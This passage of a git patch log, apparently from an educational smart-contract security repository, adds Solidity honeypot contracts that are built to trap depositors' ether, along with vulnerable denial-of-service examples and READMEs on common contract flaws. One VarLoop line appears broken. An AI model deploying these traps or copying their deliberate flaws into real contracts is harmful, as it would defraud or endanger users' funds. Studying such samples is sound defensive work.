honeypots/KOTH/KOTH.sol create mode 100644 honeypots/KOTH/README.md create mode 100644 honeypots/Lottery/Lottery.sol create mode 100644 honeypots/Lottery/README.md create mode 100644 honeypots/Multiplicator/Multiplicator.sol create mode 100644 honeypots/Multiplicator/README.md create mode 100644 honeypots/PrivateBank/PrivateBank.sol create mode 100644 honeypots/PrivateBank/README.md create mode 100644 honeypots/README.md create mode 100644 honeypots/VarLoop/README.md create mode 100644 honeypots/VarLoop/VarLoop.sol diff --git a/honeypots/GiftBox/GiftBox.sol b/honeypots/GiftBox/GiftBox.sol new file mode 100644 index 00000000..457ab426 --- /dev/null +++ b/honeypots/GiftBox/GiftBox.sol @@ -0,0 +1,68 @@ +pragma solidity ^0.4.19; + +contract NEW_YEARS_GIFT +{ + string message; + + bool passHasBeenSet = false; + + address sender; + + bytes32 public hashPass; + + function() public payable{} + + function GetHash(bytes pass) public constant returns (bytes32) {return sha3(pass);} + + function SetPass(bytes32 hash) + public + payable + { + if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 ) + { + hashPass = hash; + sender = msg.sender; + } + } + + function SetMessage(string _message) + public + { + if(msg.sender==sender) + { + message =_message; + } + } + + function GetGift(bytes pass) + external + payable + returns (string) + { + if(hashPass == sha3(pass)) + { + msg.sender.transfer(this.balance); + return message; + } + } + + function Revoce() + public + payable + { + if(msg.sender==sender) + { + sender.transfer(this.balance); + message=""; + } + } + + function PassHasBeenSet(bytes32 hash) + public + { + if(msg.sender==sender&&hash==hashPass) + { + passHasBeenSet=true; + } + } +} diff --git a/honeypots/GiftBox/README.md b/honeypots/GiftBox/README.md new file mode 100644 index 00000000..7e7c57dc --- /dev/null +++ b/honeypots/GiftBox/README.md @@ -0,0 +1,6 @@ +# GiftBox + +## Trap +Relies on abusing etherscan transaction viewer that does not display 0 value +internal transactions that allows the owner to trap deposited ether in the +contract. diff --git a/honeypots/KOTH/KOTH.sol b/honeypots/KOTH/KOTH.sol new file mode 100644 index 00000000..58471a42 --- /dev/null +++ b/honeypots/KOTH/KOTH.sol @@ -0,0 +1,31 @@ +pragma solidity ^0.4.19; +// +//Live TEST ---- Please Do NOT use! Thanks! ---- +// +contract Ownable { + address public owner; + function Ownable() public {owner = msg.sender;} + modifier onlyOwner() {require(msg.sender == owner); _; + } +} +//CEO Throne .. The CEO with the highest stake gets the control over the contract +//msg.value needs to be higher than largestStake when calling Stake() + +contract CEOThrone is Ownable { + address public owner; + uint public largestStake; +// Stake() function being called with 0xde20bc92 and ETH :: recommended gas limit 35.000 +// The sent ETH is checked against largestStake + function Stake() public payable { + // if you own the largest stake in a company, you own a company + if (msg.value > largestStake) { + owner = msg.sender; + largestStake = msg.value; + } + } +// withdraw() function being called with 0x3ccfd60b :: recommened gas limit 30.000 + function withdraw() public onlyOwner { + // only owner can withdraw funds + msg.sender.transfer(this.balance); + } +} diff --git a/honeypots/KOTH/README.md b/honeypots/KOTH/README.md new file mode 100644 index 00000000..7566ea3a --- /dev/null +++ b/honeypots/KOTH/README.md @@ -0,0 +1,5 @@ +# King Of The Hill + +## Trap +Variable shadowing of the `owner` ensures it is never reassigned. + diff --git a/honeypots/Lottery/Lottery.sol b/honeypots/Lottery/Lottery.sol new file mode 100644 index 00000000..2635ea91 --- /dev/null +++ b/honeypots/Lottery/Lottery.sol @@ -0,0 +1,97 @@ +/* + * This is a distributed lottery that chooses random addresses as lucky addresses. If these + * participate, they get the jackpot: 7 times the price of their bet. + * Of course one address can only win once. The owner regularly reseeds the secret + * seed of the contract (based on which the lucky addresses are chosen), so if you did not win, + * just wait for a reseed and try again! + * + * Jackpot chance: 1 in 8 + * Ticket price: Anything larger than (or equal to) 0.1 ETH + * Jackpot size: 7 times the ticket price + * + * HOW TO PARTICIPATE: Just send any amount greater than (or equal to) 0.1 ETH to the contract's address + * Keep in mind that your address can only win once + * + * If the contract doesn't have enough ETH to pay the jackpot, it sends the whole balance. +*/ + +contract OpenAddressLottery{ + struct SeedComponents{ + uint component1; + uint component2; + uint component3; + uint component4; + } + + address owner; //address of the owner + uint private secretSeed; //seed used to calculate number of an address + uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks + uint LuckyNumber = 7; //if the number of an address equals 7, it wins + + mapping (address => bool) winner; //keeping track of addresses that have already won + + function OpenAddressLottery() { + owner = msg.sender; + reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed + } + + function participate() payable { + if(msg.value<0.1 ether) + return; //verify ticket price + + // make sure he hasn't won already + require(winner[msg.sender] == false); + + if(luckyNumberOfAddress(msg.sender) == LuckyNumber){ //check if it equals 7 + winner[msg.sender] = true; // every address can only win once + + uint win=msg.value*7; //win = 7 times the ticket price + + if(win>this.balance) //if the balance isnt sufficient... + win=this.balance; //...send everything we've got + msg.sender.transfer(win); + } + + if(block.number-lastReseed>1000) //reseed if needed + reseed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp)); //generate a quality random seed + } + + function luckyNumberOfAddress(address addr) constant returns(uint n){ + // calculate the number of current address - 1 in 8 chance + n = uint(keccak256(uint(addr), secretSeed)[0]) % 8; + } + + function reseed(SeedComponents components) internal { + secretSeed = uint256(keccak256( + components.component1, + components.component2, + components.component3, + components.component4 + )); //hash the incoming parameters and use the hash to (re)initialize the seed + lastReseed = block.number; + } + + function kill() { + require(msg.sender==owner); + + selfdestruct(msg.sender); + } + + function forceReseed() { //reseed initiated by the owner - for testing purposes + require(msg.sender==owner); + + SeedComponents s; + s.component1 = uint(msg.sender); + s.component2 = uint256(block.blockhash(block.number - 1)); + s.component3 = block.difficulty*(uint)(block.coinbase); + s.component4 = tx.gasprice * 7; + + reseed(s); //reseed + } + + function () payable { //if someone sends money without any function call, just assume he wanted to participate + if(msg.value>=0.1 ether && msg.sender!=owner) //owner can't participate, he can only fund the jackpot + participate(); + } + +} diff --git a/honeypots/Lottery/README.md b/honeypots/Lottery/README.md new file mode 100644 index 00000000..89d1619c --- /dev/null +++ b/honeypots/Lottery/README.md @@ -0,0 +1,5 @@ +# Lottery + +## Trap +Unitialized structs default to acting like storage pointers, allowing the owner +to use the `Seecomponent s` variable to overwrite private variables. diff --git a/honeypots/Multiplicator/Multiplicator.sol b/honeypots/Multiplicator/Multiplicator.sol new file mode 100644 index 00000000..57fbaf74 --- /dev/null +++ b/honeypots/Multiplicator/Multiplicator.sol @@ -0,0 +1,26 @@ +pragma solidity ^0.4.18; + +contract Multiplicator +{ + address public Owner = msg.sender; + + function()payable{} + + function withdraw() + payable + public + { + require(msg.sender == Owner); + Owner.transfer(this.balance); + } + + function multiplicate(address adr) + payable + { + if(msg.value>=this.balance) + { + adr.transfer(this.balance+msg.value); + } + } +} + diff --git a/honeypots/Multiplicator/README.md b/honeypots/Multiplicator/README.md new file mode 100644 index 00000000..47eecdc4 --- /dev/null +++ b/honeypots/Multiplicator/README.md @@ -0,0 +1,5 @@ +# Multiplicator + +## Trap +Abuses global variable semantics of `this.balance` to ensure an impossible +conditional branch. diff --git a/honeypots/PrivateBank/PrivateBank.sol b/honeypots/PrivateBank/PrivateBank.sol new file mode 100644 index 00000000..1aad589e --- /dev/null +++ b/honeypots/PrivateBank/PrivateBank.sol @@ -0,0 +1,68 @@ +pragma solidity ^0.4.19; + +contract Private_Bank +{ + mapping (address => uint) public balances; + + uint public MinDeposit = 1 ether; + + Log TransferLog; + + function Private_Bank(address _log) + { + TransferLog = Log(_log); + } + + function Deposit() + public + payable + { + if(msg.value >= MinDeposit) + { + balances[msg.sender]+=msg.value; + TransferLog.AddMessage(msg.sender,msg.value,"Deposit"); + } + } + + function CashOut(uint _am) + { + if(_am<=balances[msg.sender]) + { + + if(msg.sender.call.value(_am)()) + { + balances[msg.sender]-=_am; + TransferLog.AddMessage(msg.sender,_am,"CashOut"); + } + } + } + + function() public payable{} + +} + +contract Log +{ + + struct Message + { + address Sender; + string Data; + uint Val; + uint Time; + } + + Message[] public History; + + Message LastMsg; + + function AddMessage(address _adr,uint _val,string _data) + public + { + LastMsg.Sender = _adr; + LastMsg.Time = now; + LastMsg.Val = _val; + LastMsg.Data = _data; + History.push(LastMsg); + } +} diff --git a/honeypots/PrivateBank/README.md b/honeypots/PrivateBank/README.md new file mode 100644 index 00000000..2262ebcc --- /dev/null +++ b/honeypots/PrivateBank/README.md @@ -0,0 +1,5 @@ +# Private Bank + +## Trap +External constructor of a `Log` contract does not mirror code included in the +contract and does not succeed if caller is not the owner. diff --git a/honeypots/README.md b/honeypots/README.md new file mode 100644 index 00000000..661941cb --- /dev/null +++ b/honeypots/README.md @@ -0,0 +1,12 @@ +# Honeypot Collection + +This repository contains code refernces for the honeypots outlined [in this blog post](www.linktoblog.com) + +## Examples +- King of the Hill +- Multiplicator +- VarLoop +- OpenAddressLottery +- Private Bank +- GiftBox + diff --git a/honeypots/VarLoop/README.md b/honeypots/VarLoop/README.md new file mode 100644 index 00000000..f03c8cc5 --- /dev/null +++ b/honeypots/VarLoop/README.md @@ -0,0 +1,5 @@ +# VarLoop + +## Trap +Implicit conversion of `var` type variable into `uint8` causes payment loop to +short-circuit. diff --git a/honeypots/VarLoop/VarLoop.sol b/honeypots/VarLoop/VarLoop.sol new file mode 100644 index 00000000..2d57ea29 --- /dev/null +++ b/honeypots/VarLoop/VarLoop.sol @@ -0,0 +1,39 @@ +pragma solidity ^0.4.18; + +contract Test1 +{ + address owner = msg.sender; + + function withdraw() + payable + public + { + require(msg.sender==owner); + owner.transfer(this.balance); + } + + function() payable {} + + function Test() + payable + public + { + if(msg.value>=1 ether) + { + + var i1 = 1; + var i2 = 0; + var amX2 = msg.value*2; + + while(true) + { + if(i1amX2)break; + + i2=i1; + i1++; + } + msg.sender.transfer(i2); + } + } +} From 4397d5e714da3085b8d1930b9acb859b6fe0cbe4 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Fri, 31 Aug 2018 10:52:40 -0400 Subject: [PATCH 18/73] Denial of service vulns added --- README.md | 11 +++++++ denial_of_service/README.md | 23 +++++++++++++++ denial_of_service/auction.sol | 53 ++++++++++++++++++++++++++++++++++ denial_of_service/list_dos.sol | 42 +++++++++++++++++++++++++++ 4 files changed, 129 insertions(+) create mode 100644 denial_of_service/README.md create mode 100644 denial_of_service/auction.sol create mode 100644 denial_of_service/list_dos.sol diff --git a/README.md b/README.md index 7eada6a1..046921a4 100644 --- a/README.md +++ b/README.md @@ -4,6 +4,7 @@ This repository contains examples of common Ethereum smart contract vulnerabilit ## Vulnerabilities +- Denial of Service - Integer Overflow - Missing Constructor - Reentrancy @@ -16,3 +17,13 @@ This repository contains examples of common Ethereum smart contract vulnerabilit These examples are developed and maintained by [Trail of Bits](https://www.trailofbits.com/). Contributions are encouraged and are covered under our [bounty program](https://github.com/trailofbits/not-so-smart-contracts/wiki#bounties). If you have questions, problems, or just want to learn more, then join the #ethereum channel on the [Empire Hacking Slack](https://empireslacking.herokuapp.com/) or [contact us](https://www.trailofbits.com/contact/) directly. + + +## TODO + +- Accress Control +- Unchecked low level calls +- Bad Randomness*** +- Front running +- Time manipulation +- Short Addresses \ No newline at end of file diff --git a/denial_of_service/README.md b/denial_of_service/README.md new file mode 100644 index 00000000..31720f89 --- /dev/null +++ b/denial_of_service/README.md @@ -0,0 +1,23 @@ +# Denial of Service + +## Principle + +A malicious contract can permanently stop another contract from behaving normally by failing +in a strategic way. + +## Examples + +- Auction contract where frontrunner must be reimbursed when they are outbid. If the call refunding +the frontrunner continuously fails, the auction is stalled and they become the de-facto winner. + +- Contract iterates through an array to pay back its users. If one send fails in the middle of a `for` loop +all reimbursements fail. + +- Attacker forces calling contract to spend remainder of its gas and revert. + +## Best Practices + +- Favor pull over push for external calls +- If iterating over a dynamically sized data structure, be able to handle the case where the function +takes multiple blocks to execute. One strategy for this is storing iterator in a private variable and +using `while` loop that exists when gas drops below certain threshold. \ No newline at end of file diff --git a/denial_of_service/auction.sol b/denial_of_service/auction.sol new file mode 100644 index 00000000..bf2805a5 --- /dev/null +++ b/denial_of_service/auction.sol @@ -0,0 +1,53 @@ +pragma solidity ^0.4.15; + +//Auction susceptible to DoS attack +contract DosAuction { + address currentFrontrunner; + uint currentBid; + + //Takes in bid, refunding the frontrunner if they are outbid + function bid() payable { + require(msg.value > currentBid); + + //If the refund fails, the entire transaction reverts. + //Therefore a frontrunner who always fails will win + if (currentFrontrunner != 0) { + //E.g. if recipients fallback function is just revert() + require(currentFrontrunner.send(currentBid)); + } + + currentFrontrunner = msg.sender; + currentBid = msg.value; + } +} + + +//Secure auction that cannot be DoS'd +contract SecureAuction { + address currentFrontrunner; + uint currentBid; + //Store refunds in mapping to avoid DoS + mapping(address => uint) refunds; + + //Avoids "pushing" balance to users favoring "pull" architecture + function bid() payable external { + require(msg.value > currentBid); + + if (currentFrontrunner != 0) { + refunds[currentFrontrunner] += currentBid; + } + + currentFrontrunner = msg.sender; + currentBid = msg.value; + } + + //Allows users to get their refund from auction + function withdraw() external { + //Do all state manipulation before external call to + //avoid reentrancy attack + uint refund = refunds[msg.sender]; + refunds[msg.sender] = 0; + + msg.sender.send(refund); + } +} diff --git a/denial_of_service/list_dos.sol b/denial_of_service/list_dos.sol new file mode 100644 index 00000000..60c6288f --- /dev/null +++ b/denial_of_service/list_dos.sol @@ -0,0 +1,42 @@ +pragma solidity ^0.4.15; + +contract CrowdFundBad { + address[] private refundAddresses; + mapping(address => uint) public refundAmount; + + function refundDos() public { + for(uint i; i < refundAddresses.length; i++) { + require(refundAddresses[i].send(refundAmount[refundAddresses[i]])); + } + } +} + +contract CrowdFundPull { + address[] private refundAddresses; + mapping(address => uint) public refundAmount; + + function withdraw() external { + uint refund = refundAmount[msg.sender]; + refundAmount[msg.sender] = 0; + msg.sender.send(refund); + } +} + + +//This is safe against the list length being the source of block gas limit issues +//but is not safe in the scenario where the payee takes up a lot of gas, or is that +// not possible because send has a fixed gas limit? +contract CrowdFundSafe { + address[] private refundAddresses; + mapping(address => uint) public refundAmount; + uint256 nextIdx; + + function refundSafe() public { + uint256 i = nextIdx; + while(i < refundAddresses.length && msg.gas > 200000) { + refundAddresses[i].send(refundAmount[i]); + i++; + } + nextIdx = i; + } +} From d1742f93b0ad207a036a9b339683bfd7da8b1778 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Fri, 31 Aug 2018 10:58:18 -0400 Subject: [PATCH 19/73] Fixed README --- README.md | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/README.md b/README.md index 046921a4..9eb003e9 100644 --- a/README.md +++ b/README.md @@ -17,13 +17,3 @@ This repository contains examples of common Ethereum smart contract vulnerabilit These examples are developed and maintained by [Trail of Bits](https://www.trailofbits.com/). Contributions are encouraged and are covered under our [bounty program](https://github.com/trailofbits/not-so-smart-contracts/wiki#bounties). If you have questions, problems, or just want to learn more, then join the #ethereum channel on the [Empire Hacking Slack](https://empireslacking.herokuapp.com/) or [contact us](https://www.trailofbits.com/contact/) directly. - - -## TODO - -- Accress Control -- Unchecked low level calls -- Bad Randomness*** -- Front running -- Time manipulation -- Short Addresses \ No newline at end of file From 7fa9467a0c5fa0c0a2e46d47942f8689e8b3af37 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Fri, 31 Aug 2018 12:14:35 -0400 Subject: [PATCH 20/73] Created readme's for two new vulns and updated master readme accordingly --- README.md | 1 + bad_randomness/README.md | 30 ++++++++++++++++++++++++++++++ 2 files changed, 31 insertions(+) create mode 100644 bad_randomness/README.md diff --git a/README.md b/README.md index 9eb003e9..dacb3edb 100644 --- a/README.md +++ b/README.md @@ -4,6 +4,7 @@ This repository contains examples of common Ethereum smart contract vulnerabilit ## Vulnerabilities +- Bad randomness - Denial of Service - Integer Overflow - Missing Constructor diff --git a/bad_randomness/README.md b/bad_randomness/README.md new file mode 100644 index 00000000..c79463ba --- /dev/null +++ b/bad_randomness/README.md @@ -0,0 +1,30 @@ +# Bad Randomness + +Due to the fact that all information on the blockchain in public, acquiring random numbers that cannot be influenced by malicious actors is nearly impossible. +(larger preamble) + +People have mistakenly attempted to use the following sources of "randomness" in their smart contracts + +- Past, present, or future block hash +- Block difficulty +- Timestamp +- etc + +The problem with each of these examples is that miners can influence their values. Even if it is unlikely a miner is able to specify exactly what these variables become, +they could stack the cards slightly in their favor. (reference specific examples). + +A common workaround for this issue is a commit and reveal scheme. (discuss) + +## Attacks + +## Consequences + +## Mitigations + +There are currently not any recommended mitigations for this issue. Do not build applications that require on-chain randomness. +In the future, however, these approaches show promise + +-- Verifiable delay functions: functions which produce a pseudorandom number and take a fixed amount of sequential time to evaluate +-- Randao: + +## Real world examples \ No newline at end of file From 46a7d81683ad06643ffd1782b9539a8be3ab2df8 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Fri, 31 Aug 2018 13:45:38 -0400 Subject: [PATCH 21/73] updated bad randomness readme. still need examples --- bad_randomness/README.md | 46 +++++++++++++++++++++++++++------------- 1 file changed, 31 insertions(+), 15 deletions(-) diff --git a/bad_randomness/README.md b/bad_randomness/README.md index c79463ba..a6faa324 100644 --- a/bad_randomness/README.md +++ b/bad_randomness/README.md @@ -1,30 +1,46 @@ # Bad Randomness -Due to the fact that all information on the blockchain in public, acquiring random numbers that cannot be influenced by malicious actors is nearly impossible. -(larger preamble) +Due to the fact that all information on the blockchain in public, acquiring random numbers that +cannot be influenced by malicious actors is nearly impossible. People have mistakenly attempted to use the following sources of "randomness" in their smart contracts -- Past, present, or future block hash -- Block difficulty -- Timestamp -- etc +- Block variables such as `coinbase`, `difficulty`, `gasLimit`, `number`, and `timestamp` +- Blockhash of a past or future block -The problem with each of these examples is that miners can influence their values. Even if it is unlikely a miner is able to specify exactly what these variables become, -they could stack the cards slightly in their favor. (reference specific examples). +The problem with each of these examples is that miners can influence their values. +Even if it is unlikely a miner is able to specify exactly what these quantities, +they could stack the cards slightly in their favor. -A common workaround for this issue is a commit and reveal scheme. (discuss) +A common workaround for this issue is a commit and reveal scheme. Here, each user submits the hash of their secret number. +When the time comes for the random number to be generated, each user sends their secret number to the contract +which then verifies it matches the hash submitted earlier and xors them together. Therefore no participant can observe how their contribution +will affect the end result until after everyone has already committed to a value. However, this is also vulnerable to DoS attacks, +since the last person to reveal can choose to never submit their secret. Even if the contract is allowed to move forward without +everyone's secrets, this gives them influence over the end result. In general, we do not recommend commit and reveal schemes. -## Attacks +## Attack Scenarios -## Consequences +- A lottery where people bet on whether the hash of the current block is even or odd. A miner that bets on even can throw out blocks whose +hash are even. +- A commit-reveal scheme where users don't necessarily have to reveal their secret (to prevent DoS). A user has money riding on the outcome +of the PRG and submits a large number of commits, allowing them to choose the one they want to reveal at the end. ## Mitigations -There are currently not any recommended mitigations for this issue. Do not build applications that require on-chain randomness. +There are currently not any recommended mitigations for this issue. +Do not build applications that require on-chain randomness. In the future, however, these approaches show promise --- Verifiable delay functions: functions which produce a pseudorandom number and take a fixed amount of sequential time to evaluate --- Randao: +- Verifiable delay functions: functions which produce a pseudorandom number +and take a fixed amount of sequential time to evaluate +- Randao: A commit reveal scheme where users must stake wei to participate -## Real world examples \ No newline at end of file +## Examples + +## Sources + +- https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract +- https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 +- Forthcoming VDF blog post. +- https://github.com/randao/randao \ No newline at end of file From 041c3d1ebae4dc143443bb5fcb4ec9db43489f88 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Fri, 31 Aug 2018 14:10:13 -0400 Subject: [PATCH 22/73] Updated integer overlow and denial of service readme --- denial_of_service/README.md | 13 +++++++------ integer_overflow/README.md | 26 +++++++++++++++++++++----- 2 files changed, 28 insertions(+), 11 deletions(-) diff --git a/denial_of_service/README.md b/denial_of_service/README.md index 31720f89..b4245a70 100644 --- a/denial_of_service/README.md +++ b/denial_of_service/README.md @@ -1,11 +1,10 @@ # Denial of Service -## Principle +A malicious contract can permanently stall another contract by failing +in a strategic way. In particular, contracts that bulk perform transactions or updates using +a `for` loop can be DoS'd if a call to another contract or `send` fails during the loop. -A malicious contract can permanently stop another contract from behaving normally by failing -in a strategic way. - -## Examples +## Attack Scenarios - Auction contract where frontrunner must be reimbursed when they are outbid. If the call refunding the frontrunner continuously fails, the auction is stalled and they become the de-facto winner. @@ -15,7 +14,9 @@ all reimbursements fail. - Attacker forces calling contract to spend remainder of its gas and revert. -## Best Practices +## Examples + +## Mitigations - Favor pull over push for external calls - If iterating over a dynamically sized data structure, be able to handle the case where the function diff --git a/integer_overflow/README.md b/integer_overflow/README.md index ca819900..4cb51d5f 100644 --- a/integer_overflow/README.md +++ b/integer_overflow/README.md @@ -1,7 +1,23 @@ -# Integer overflow 1 +# Integer Overflow -## Principle -- Integer overflow possible on the function `add` +It is possible to cause `add` and `sub` to overflow (or underflow) on any type of integer in Solidity. -## Attack -Once a first call have be made on `add` or `safe_add`, a call to `add` can trigger an integer overflow +## Attack Scenarios + +- Attacker has 5 of some ERC20 token. They spend 6, but because the token doesn't check for underflows, +they wind up with 2^256 tokens. + +- A contract contains a dynamic array and an unsafe `pop` method. An attacker can underflow the length of +the array and alter other variables in the contract. + +## Mitigations + +- Use openZeppelin's safeMath library +- Validate all arithmetic + +## Examples + +## References + +- https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol +- https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte From 2cf53652f647962302074727173bd18012397968 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Fri, 31 Aug 2018 15:28:17 -0400 Subject: [PATCH 23/73] updated missing constructor and race condition READMEs --- missing_constructor/README.md | 14 +++++++++----- race_condition/README.md | 29 ++++++++++++++++++----------- 2 files changed, 27 insertions(+), 16 deletions(-) diff --git a/missing_constructor/README.md b/missing_constructor/README.md index e5887e78..f2abb3d9 100644 --- a/missing_constructor/README.md +++ b/missing_constructor/README.md @@ -1,12 +1,16 @@ # Missing constructor -## Principle -- Wrong constructor name +If the constructor of a smart contract is not present (or not spelled the same way as the contract name), it is callable by anyone. ## Attack Anyone can call the function that was supposed to be the constructor. As a result anyone can change the state variables initialized in this function. -## Known exploit -[Rubixi](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code) -- See `Rubixi_source_code/Rubixi.sol`: `DynamicPyramid` instead of `Rubixi` +## Mitigations + +- Use `constructor` instead of a named constructor + +## Examples +- [Rubixi](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code) + +## References diff --git a/race_condition/README.md b/race_condition/README.md index db20fdfb..a1416024 100644 --- a/race_condition/README.md +++ b/race_condition/README.md @@ -1,17 +1,24 @@ # Race Condition +There is a gap between the creation of a transaction and the moment it is accepted in the blockchain. +Therefore, an attacker can take advantage of this gap to put a contract in a state that advantages them. -## Principle -- There is a gap between the creation of a transaction and the moment it is accepted in the blockchain -- An attacker can take advantage of this gap to put a contract in an unexpected state for a target +## Attack Scenario -## Example -- Bob creates `RaceCondition(100, token)` -- Alice trusts `RaceCondition` with all its tokens -- Alice calls `buy(150)` -- Bob sees the transaction, and calls `changePrice(300)` -- The transaction of Bob is mined before the one of Alice +- Bob creates `RaceCondition(100, token)`. Alice trusts `RaceCondition` with all its tokens. Alice calls `buy(150)` +Bob sees the transaction, and calls `changePrice(300)`. The transaction of Bob is mined before the one of Alice and +as a result, Bob received 300 tokens. -As a result, Bob received 300 tokens. +- The ERC20 standard's `approve` and `transferFrom` functions are vulnerable to a race condition. Suppose Alice has +approved Bob to spend 100 tokens on her behalf. She then decides to only approve him for 50 tokens and sends +a second `approve` transaction. However, Bob sees that he's about to be downgraded and quickly submits a +`transferFrom` for the original 100 tokens he was approved for. If this transaction gets mined before Alice's +second `approve`, Bob will be able to spend 150 of Alice's tokens. -## Known exploit +## Mitigations + +- For the ERC20 bug, insist that Alice only be able to `approve` Bob when he is approved for 0 tokens. + +## Examples ERC20 approve/transferFrom + +## References From df804f0a42e065418c801642f8a412e7e92ce032 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Tue, 4 Sep 2018 10:48:06 +0200 Subject: [PATCH 24/73] More README updates --- reentrancy/README.md | 19 +++++++++++++------ unprotected_function/README.md | 14 +++++++++++--- wrong_interface/README.md | 17 ++++++++++------- 3 files changed, 34 insertions(+), 16 deletions(-) diff --git a/reentrancy/README.md b/reentrancy/README.md index f95ba03e..93ba5c64 100644 --- a/reentrancy/README.md +++ b/reentrancy/README.md @@ -1,11 +1,18 @@ # Re-entrancy +A state variable is changed after a contract uses `call.value`. The attacker uses the fallback function to +execute the vulnerable function again before the state variable is changed. -## Principle -- A state variable is changed after a call to `send` / `call.value` -- The attacker uses the fallback function to execute again the vulnerable function before the state variable are changed +## Attack Scenarios +- A contract that holds a map of account balances allows users to call a `withdraw` function. However, +`withdraw` calls `send` which transfers control to the calling contract, but doesn't decrease their +balance until after `send` has finished executing. The attacker can then repeatedly withdraw money +that they do not have. -## Attack -See `RentrancyExploit.sol` to exploit the contract. +## Mitigations -## Known exploit +- Avoid use of `call.value` + +## Examples [DAO](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) + +## References \ No newline at end of file diff --git a/unprotected_function/README.md b/unprotected_function/README.md index 64595bec..1a146f34 100644 --- a/unprotected_function/README.md +++ b/unprotected_function/README.md @@ -1,8 +1,16 @@ # Unprotected function +Missing (or incorrectly used) modifier on a function allows an attacker to use sensitive functionality in the contract. -## Principle -- Missing modifier on a sensitive function +## Attack Scenario -## Known exploit +- A contract with a `changeOwner` function does not label it as `private` and therefore +allows anyone to become the contract owner. + +## Mitigations + +Always specify a modifier for functions. + +## Examples [Parity Wallet](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7) - See `initWallet` in `WalletLibrary_source_code/WalletLibrary.sol` + diff --git a/wrong_interface/README.md b/wrong_interface/README.md index d5ecbb14..7c8dc1c2 100644 --- a/wrong_interface/README.md +++ b/wrong_interface/README.md @@ -1,14 +1,17 @@ # Wrong interface +A contract interface defines functions with a different type signature than the implementation, causing two different method id's to be created. +As a result, when the interfact is called, the fallback method will be executed. -## Principle: -- Wrong contract interface +## Attack Scenario -## Detail -The interface is wrongly defined. `Alice.set(uint)` takes an `uint` in `Bob.sol` but `Alice.set(int)` a `int` in `Alice.sol`. -The two interface will produces two differents method ids. -As a result bob will call the fallback function of alice, instead of `set`. +- The interface for a contract defines `set(uint)` but the implementation defines `set(int)`. Anyone calling +`set` via the interface will execute the fallback function. -## Running example +## Mitigations + +Verify that type signatures are identical between inferfaces and implementations. + +## Example First, get the bytecode and the abi of the contracts: ```̀bash $ solc --bin Alice.sol From 4196490b9617bb4dc3debf7abaf67340975673ad Mon Sep 17 00:00:00 2001 From: ggrieco-tob <31542053+ggrieco-tob@users.noreply.github.com> Date: Mon, 19 Mar 2018 15:01:34 -0300 Subject: [PATCH 25/73] Create inherited_state.sol --- variable shadowing/inherited_state.sol | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 variable shadowing/inherited_state.sol diff --git a/variable shadowing/inherited_state.sol b/variable shadowing/inherited_state.sol new file mode 100644 index 00000000..f97f5459 --- /dev/null +++ b/variable shadowing/inherited_state.sol @@ -0,0 +1,13 @@ +contract Suicidal { + address owner; + function suicide() public returns (address) { + require(owner == msg.sender); + selfdestruct(owner); + } +} +contract C is Suicidal { + address owner; + function C() { + owner = msg.sender; + } +} From 2d775c2c5bffb9f1d42d4e46006a84883674957a Mon Sep 17 00:00:00 2001 From: ggrieco-tob <31542053+ggrieco-tob@users.noreply.github.com> Date: Mon, 19 Mar 2018 15:20:39 -0300 Subject: [PATCH 26/73] Added a README on variable shadowing --- variable shadowing/README.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 variable shadowing/README.md diff --git a/variable shadowing/README.md b/variable shadowing/README.md new file mode 100644 index 00000000..27632657 --- /dev/null +++ b/variable shadowing/README.md @@ -0,0 +1,14 @@ +# Variable Shadowing + +## Principle +- Variable shadowing occurs when a variable declared within a certain scope (decision block, method, or inner class) +has the same name as a variable declared in an outer scope. + +## Attack +This depends a lot on the code of the contract itself. For instance, in the state_inherance.sol example, +it stops the owner to perform the self-destruction of the contract. + +## Mitigation +The solidity compiler has [some checks](https://github.com/ethereum/solidity/issues/973) to emit warnings when +it detects this kind of issue, but [it has known examples](https://github.com/ethereum/solidity/issues/2563) where +it fails. From 93c7242046097c9f840d2e34a7dde20c353c2023 Mon Sep 17 00:00:00 2001 From: Dan Guido Date: Thu, 26 Jul 2018 12:53:02 -0400 Subject: [PATCH 27/73] wrong -> incorrect --- README.md | 2 +- .../Alice.sol | 0 .../Bob.sol | 0 .../README.md | 17 ++++++----------- 4 files changed, 7 insertions(+), 12 deletions(-) rename {wrong_interface => incorrect_interface}/Alice.sol (100%) rename {wrong_interface => incorrect_interface}/Bob.sol (100%) rename {wrong_interface => incorrect_interface}/README.md (92%) diff --git a/README.md b/README.md index dacb3edb..3c70dae2 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ This repository contains examples of common Ethereum smart contract vulnerabilit - Reentrancy - Unchecked External Call - Unprotected Function -- Wrong Interface +- Incorrect Interface ## Credits diff --git a/wrong_interface/Alice.sol b/incorrect_interface/Alice.sol similarity index 100% rename from wrong_interface/Alice.sol rename to incorrect_interface/Alice.sol diff --git a/wrong_interface/Bob.sol b/incorrect_interface/Bob.sol similarity index 100% rename from wrong_interface/Bob.sol rename to incorrect_interface/Bob.sol diff --git a/wrong_interface/README.md b/incorrect_interface/README.md similarity index 92% rename from wrong_interface/README.md rename to incorrect_interface/README.md index 7c8dc1c2..792cee6d 100644 --- 